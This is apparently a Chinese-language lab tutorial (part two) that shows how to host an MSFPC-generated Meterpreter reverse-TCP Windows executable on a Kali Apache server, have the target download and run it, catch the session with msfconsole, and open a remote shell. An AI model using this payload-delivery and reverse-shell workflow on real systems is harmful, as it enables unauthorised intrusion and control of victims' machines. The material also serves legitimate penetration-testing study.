网络安全:如何使用MSFPC半自动化生成强大的木码?「下集」

课前声明:
本分享仅做学习交流 , 请自觉遵守法律法规!搜索:Kali与编程 , 学习更多网络攻防干货!下篇文章将在明天下午五点发布 , 敬请关注!
网络安全:如何使用MSFPC半自动化生成强大的木码?「下集」文章插图
三、战略安排
3.1 查看监听主机的apapche2状态 , 如下图所示 。
命令:service apapche2 status
网络安全:如何使用MSFPC半自动化生成强大的木码?「下集」文章插图
3.2 开启监听主机的apapche2主机 , 如下图所示 。
【网络安全:如何使用MSFPC半自动化生成强大的木码?「下集」】命令:service apache2 start
网络安全:如何使用MSFPC半自动化生成强大的木码?「下集」文章插图
3.3 将生成的“windows-meterpreter-staged-reverse-tcp-555.exe”文件复制到apapche2目录下 , 如下图所示 。
命令:cp windows-meterpreter-staged-reverse-tcp-555.exe /var/www/html
网络安全:如何使用MSFPC半自动化生成强大的木码?「下集」文章插图
3.4 删除“/var/www/html”目录下一些不相干的文件 , 只保留payload文件 , 如下图所示 。
命令:rm /var/www/html/index.html
命令:rm /var/www/html/index.nginx-debian.html
网络安全:如何使用MSFPC半自动化生成强大的木码?「下集」文章插图
网络安全:如何使用MSFPC半自动化生成强大的木码?「下集」文章插图
3.5 查看“/var/www/html”目录下是否只存在payload文件 , 如下图所示 。
命令:ls /var/www/html/
网络安全:如何使用MSFPC半自动化生成强大的木码?「下集」文章插图
3.6 在物理机中访问处于监听状态下的kali linux主机 , 如下图所示 。
网络安全:如何使用MSFPC半自动化生成强大的木码?「下集」文章插图
3.7 将生成的payload文件下载到物理主机 , 如下图所示 。
网络安全:如何使用MSFPC半自动化生成强大的木码?「下集」文章插图
3.8 连接payload文件 , 如下图所示 。
命令:msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-5555-exe.rc'
网络安全:如何使用MSFPC半自动化生成强大的木码?「下集」文章插图
网络安全:如何使用MSFPC半自动化生成强大的木码?「下集」文章插图
3.9 查看session信息 , 如下图所示 。
命令:session -i 1
网络安全:如何使用MSFPC半自动化生成强大的木码?「下集」文章插图
网络安全:如何使用MSFPC半自动化生成强大的木码?「下集」文章插图
3.10 成功拿下目标主机 , 如下图所示 , 查看目标主机的系统信息 。
命令:sysinfo
网络安全:如何使用MSFPC半自动化生成强大的木码?「下集」文章插图
3.10.1 利用shell访问目标主机 , 如下图所示 。
命令:shell
网络安全:如何使用MSFPC半自动化生成强大的木码?「下集」文章插图
3.10.2 解决shell界面乱码问题 , 如下图所示 。
chcp 65001
网络安全:如何使用MSFPC半自动化生成强大的木码?「下集」文章插图